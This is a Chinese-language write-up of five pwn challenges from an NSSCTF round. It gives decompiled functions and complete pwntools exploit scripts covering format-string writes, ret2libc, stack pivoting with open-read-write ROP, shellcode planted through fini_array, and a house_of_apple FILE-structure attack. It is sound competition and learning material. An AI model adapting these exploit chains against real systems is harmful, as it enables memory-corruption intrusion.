[Round#14 Illuminate with your bril]

[Round#14 Illuminate with your bril]_第1张图片

 

周末NSS的PWN专题,只作了3个,结束后跟NSS的师傅聊,对方确认了第4题的作法,重作成功。第5题看师傅的WP复现成功。

love

主函数给了个printf,这里可以得到所有地址,并且要求把v4,v5改相等

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+8h] [rbp-48h] BYREF
  __int64 v5; // [rsp+10h] [rbp-40h]
  __int64 *v6; // [rsp+18h] [rbp-38h]
  pthread_t newthread[6]; // [rsp+20h] [rbp-30h] BYREF

  newthread[5] = __readfsqword(0x28u);
  init(argc, argv, envp);
  v4 = 555LL;
  v5 = 520LL;
  v6 = &v4;
  puts("I want to hear your praise of Toka\n");
  read(0, buf, 0x40uLL);
  printf(buf);
  if ( v5 == v4 )
  {
    pthread_create(newthread, 0LL, vuln, 0LL);
    pthread_join(newthread[0], 0LL);
  }
  else
  {
    puts("Obviously, you don't love him");
  }
  return 0;
}

成功后会进入子进程,有个gets的溢出

void *__fastcall vuln(void *a1)
{
  char v2[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("I know you like him, but you must pass my level\n");
  gets(v2);
  return 0LL;
}

先利用printf得到需要的地址,由于栈里有一个指向v4的指针,所以可以利用它来改v4

先用个pay得到相关的偏移

pay = b'%6$p,%7$p,%8$p,%9$p,%10$p,%11$p,%12$p,%13$p,%14$p,%15$p,%16$p,%17$p'
#       7v4 8v5      9 v6            10           11    12     13        14              15
#0xc2,0x22b,0x208,0x7fffffffde58,0x7ffff7fa32e8,0x401390,(nil),0x401130,0x7fffffffdf90,0xd9ac603b8d1ef800

后边就是传统的泄露和system了

from pwn import *

#p = process('./pwn')
p = remote('node1.anna.nssctf.cn', 28591)
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

pay = b'%520c%9$lln,,%15$p,'
p.sendafter(b"I want to hear your praise of Toka\n\n", pay)

p.recvuntil(b',,')
canary = int(p.recvuntil(b',', drop = True)  ,16)

print(f"{canary = :x}")

pop_rdi = 0x00000000004013f3 # pop rdi ; ret
vuln = 0x40125d

pay = b'A'*40 + flat(canary, 0x404800, pop_rdi, elf.got['puts'], elf.plt['puts'], vuln)
p.sendlineafter(b"I know you like him, but you must pass my level\n\n", pay)

libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")

pay = b'A'*40 + flat(canary, 0x404800, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh')) , libc.sym['system'], vuln)
p.sendlineafter(b"I know you like him, but you must pass my level\n\n", pay)

p.interactive()

rbp

在main里调用的sandbox禁用了execve, 在vuln里有个溢出但只溢出到rbp+ret

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();                                       // 禁用exec
  puts("read is important");
  vuln();
  return 0;
}
__int64 vuln()
{
  char buf[524]; // [rsp+0h] [rbp-210h] BYREF
  int v2; // [rsp+20Ch] [rbp-4h]

  v2 = 2;
  puts("try it");
  read(0, buf, 0x220uLL);
  puts(buf);
  return 0LL;
}

题目PIE没开,所以

第1步到移栈到bss里这里的地址是已知的。

第2次直接用leave_ret,移栈到前部执行泄露并回到vuln

在vuln读入pay后,再直接用leave_ret到前部执行ORW

from pwn import *

#p = process('./rbp')
p = remote('node3.anna.nssctf.cn', 28784)
context(arch='amd64', log_level='debug')

elf = ELF('./rbp')
libc = ELF('./libc.so.6')

vuln = 0x40127f
pop_rdi = 0x0000000000401353 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000401351 # pop rsi ; pop r15 ; ret
bss = 0x404800
leave_ret = 0x4012bf

#1
pay = b'\x00'*0x210 + flat(0x404800, vuln)
p.sendafter(b"try it\n", pay)

#2
pay = flat(bss+0x300, pop_rdi, elf.got['puts'], elf.plt['puts'], vuln).ljust(0x210, b'\x00') + flat(bss-0x210, leave_ret)
p.sendafter(b"try it\n", pay)
p.recvline()

libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")

pop_rsi = libc.address + 0x000000000002601f # pop rsi ; ret next(libc.search(asm('pop rsi;ret')))
pop_rdx = libc.address + 0x0000000000142c92 # pop rdx ; ret next(libc.search(asm('pop rdx;ret')))
syscall = next(libc.search(asm('syscall;ret')))

#3
pay = flat([b'./flag\x00\x00', pop_rdi, bss+0x300-0x210, pop_rsi,0, libc.sym['open'], 
                                  pop_rdi,3,  pop_rsi, bss, pop_rdx, 0x50, libc.sym['read'],
                                  pop_rdi, bss, elf.plt['puts']
           ]).ljust(0x210, b'\x00') + flat(bss-0x210+0x300, leave_ret)
p.sendafter(b"try it\n", pay)
p.recvline()

print(p.recvline())
p.interactive()

xor

程序会读入一个地址,并向这个地址定异或1个字节

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+7h] [rbp-9h] BYREF
  _BYTE *v5; // [rsp+8h] [rbp-8h] BYREF

  init();
  while ( flag <= 0 )
  {
    printf("addr: ");
    __isoc99_scanf("%p", &v5);
    printf("value: ");
    __isoc99_scanf(" %hhx", &v4);
    xorByteWithAddress(v5, v4);
  }
  return 0;
}

__int64 __fastcall xorByteWithAddress(_BYTE *a1, char a2)
{
  *a1 ^= a2;
  return (unsigned int)++flag;
}

第1步是把flag的高位写成0xff这样变成负数就不会退出

第2步本来想改got表,但发现这里是rwx的块,所以直接在fini_array写指针+shellcode

最后把第1步写的ff异或掉,退出时会调用fini_array里的函数得到shell

from pwn import *

#p = process('./pwn')
p = remote('node1.anna.nssctf.cn', 28717)
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')


def write(addr ,v):
    p.sendlineafter(b"addr: ", hex(addr)[2:].encode())
    p.sendlineafter(b"value: ", hex(v)[2:].encode())

#gdb.attach(p, "b*0x400743\nc")

#600bcc flag
write(0x600bcc+3, 0xff)

#shellcode写到rwx段
v = asm(shellcraft.sh())
for i,k in enumerate(v):
    if k != 0:
        write(0x600d00+i, k)

#修改fini指向shellcode
fini = 0x600970
v = p32(0x600d00 ^ 0x400610)
for i,k in enumerate(v):
    if k != 0:
        write(fini+i, k)

write(0x600bcc+3, 0xff)

p.interactive()

read_file

后边这两题没完成,赛后问了一下,说是覆盖文件标识fild_id看来方向没错,接着弄,终于完成。

程序有打开文件和读文件两个功能。打开文件时发现有flag就会退出。但由于scanf(%8s)会在输入8个字符后将后边相邻的fild_id用\0覆盖。后边在读文件时由于fild_id=0会从标记输入读入。

int load_file()
{
  int result; // eax

  printf("file_name : ");
  __isoc99_scanf("%8s", file_name);
  if ( strstr(file_name, "flag") )
    return puts("No permission !");
  file_fd = open(file_name, 0, 0LL);
  if ( file_fd < 0 )
    return puts("File opening failed !");
  result = puts("File opened successfully !");
  file_flag = 1;
  return result;
}

在readfile时当输入的数小于55时会有溢出

int read_file()
{
  unsigned __int64 v1; // rax
  void *v2; // rsp
  __int64 savedregs; // [rsp+8h] [rbp+0h] BYREF

  if ( !file_flag )
    return puts("Please open the file first ");
  printf("file_content_length : ");
  __isoc99_scanf("%d", &content_size);
  v1 = 16 * ((content_size + 23LL) / 0x10uLL);
  while ( &savedregs != (__int64 *)((char *)&savedregs - (v1 & 0xFFFFFFFFFFFFF000LL)) )
    ;
  v2 = alloca(v1 & 0xFFF);
  if ( (v1 & 0xFFF) != 0 )
    *(__int64 *)((char *)&savedregs + (v1 & 0xFFF) - 8) = *(__int64 *)((char *)&savedregs + (v1 & 0xFFF) - 8);
  file_content = &savedregs;
  if ( content_size > 55 )
  {
    read(file_fd, file_content, content_size);
  }
  else
  {
    puts("It's too small. Here's a gift for you, read more ");
    read(file_fd, file_content, content_size + 0x38);
  }
  return printf("file_content : %s\n", (const char *)file_content);
}

这个题有没pop xxx所以只能用程序里的段取代。

先随便输入个东西打开文件,然后再进入输入带flag的8字节覆盖fild_id再进来输入个flag

第1段用0x401493这里打开文件 

[Round#14 Illuminate with your bril]_第2张图片

第2段用0x4015f0直接读然后输出

[Round#14 Illuminate with your bril]_第3张图片 

from pwn import *

p = process('./pwn')
#p = remote('node1.anna.nssctf.cn', 28717)
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def load_file(name):
    p.sendlineafter(b">> ", b'1')
    p.sendlineafter(b"file_name : ", name)

def read_file(size, msg):
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b"file_content_length : ", str(size).encode())
    p.sendafter(b"It's too small. Here's a gift for you, read more ", msg)

#gdb.attach(p, "b*0x40160e\nc")

load_file(b'./')        #打开文件 置状态 
load_file(b'././flag')  #file_id = 0 用串结束符\0覆盖file_id 为0
load_file(b'flag')

bss = 0x404800

pay = b'A'*0x40 + flat(bss, 0x401493, bss, 0x4015f0)  #load_file read_file
read_file(55, pay)

p.interactive()

 note

这个拿到WP也没完成,后来发现ASLR如果关闭就不成,什么原因不清楚。

并且这题用的是libc-2.35-0u3.1这个版本已经没有hook了。

有三个函数add,show,edit

其中show的指针是unsign int不能前溢出,add,edit都可以前溢出,并且add的可多写8字节

[Round#14 Illuminate with your bril]_第4张图片

建块可id <=7 并且有 size检查,edit在运行后会exit

[Round#14 Illuminate with your bril]_第5张图片

 思路分两部分,前边通过建块将top_chunk的头改小,然后建大块让top_chunk进行到largbin,然后再在largbin建小点的块利用残留得到libc。

由于后边要前溢出写stdout(偏移-8)所以要建个块在4的位置,让edit时使用这个指针作为size.

第2部分利用前溢出修改stdout,这块只能用板子,自己是不会的。说是house_of_apple

from pwn import *

p = process('./pwn')
#p = remote('node1.anna.nssctf.cn', 28717)
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def add(idx, size, msg):
    p.sendlineafter(b"choice: ", b'1')
    p.sendlineafter(b"idx: ", str(idx).encode())
    p.sendlineafter(b"size: ", str(size).encode())
    p.sendafter(b"content: ", msg)

def show(idx):
    p.sendlineafter(b"choice: ", b'2')
    p.sendlineafter(b"idx: ", str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(b"choice: ", b'4')
    p.sendlineafter(b"idx: ", str(idx).encode())
    p.sendafter(b"content: ", msg)

add(4, 0x108, b'A'*0x108 + p64(0xf51))
add(1, 0x1000, b'A')
add(2, 0x108, b'A'*8)
show(2)
p.recvuntil(b'A'*8)

libc.address  = u64(p.recvline().rstrip().ljust(8, b'\x00')) - 0x21a2f0
print(f"{libc.address = :x}")

pop_rbp     = libc.address + 0x000000000002a2e0 # pop rbp ; ret 
pop_rdi     = libc.address + 0x000000000002a3e5 # pop rdi ; ret 
pop_rsi     = libc.address + 0x000000000002be51 # pop rsi ; ret 
pop_rdx_r12 = libc.address + 0x000000000011f497 # pop rdx ; pop r12 ; ret 
leave_ret   = libc.address + 0x00000000000562ec # leave ; ret 

standard_FILE_addr = libc.sym['_IO_2_1_stdout_']
_IO_wfile_jumps_addr = libc.sym["_IO_wfile_jumps"]

#0x7ffff7e1a850 <_IO_2_1_stdout_+208>:   0x0000000000000000      0x00007ffff7e16600  <-- 0x21a860-8
#0x7ffff7e1a860: 0x00007ffff7e1a6a0      0x00007ffff7e1a780

fake_rbp = libc.address + 0x21a860-8 #libc.sym['_IO_2_1_stdout_'] + 0xd8 #rop


io_file = FileStructure()
io_file.flags = 0 
io_file._IO_read_ptr = pop_rbp
io_file._IO_read_end = fake_rbp
io_file._IO_read_base = leave_ret
io_file._IO_write_base = 0
io_file._IO_write_ptr = 1
io_file.unknown2 |= (0 << 192)
io_file._lock = standard_FILE_addr-0x10
io_file.chain = leave_ret
io_file._codecvt = standard_FILE_addr
io_file._wide_data = standard_FILE_addr - 0x48
io_file.vtable = _IO_wfile_jumps_addr


flag = fake_rbp + 0xb0   #flag地址
payload = bytes(io_file)
payload += flat([pop_rdi, flag, pop_rsi, 0, libc.sym['open'],
           pop_rdi, 3, pop_rsi, flag, pop_rdx_r12, 0x50,0, libc.sym['read'],
           pop_rdi, 1, pop_rsi, flag, pop_rdx_r12, 0x50,0, libc.sym['write']
           ])
payload += b"flag\x00"

edit(-8,payload)

print(p.recv(0x50))
#p.interacitve()

#ASLR关闭后,无法成功

你可能感兴趣的:(格式化字符串漏洞,house_of_apple,nssctf)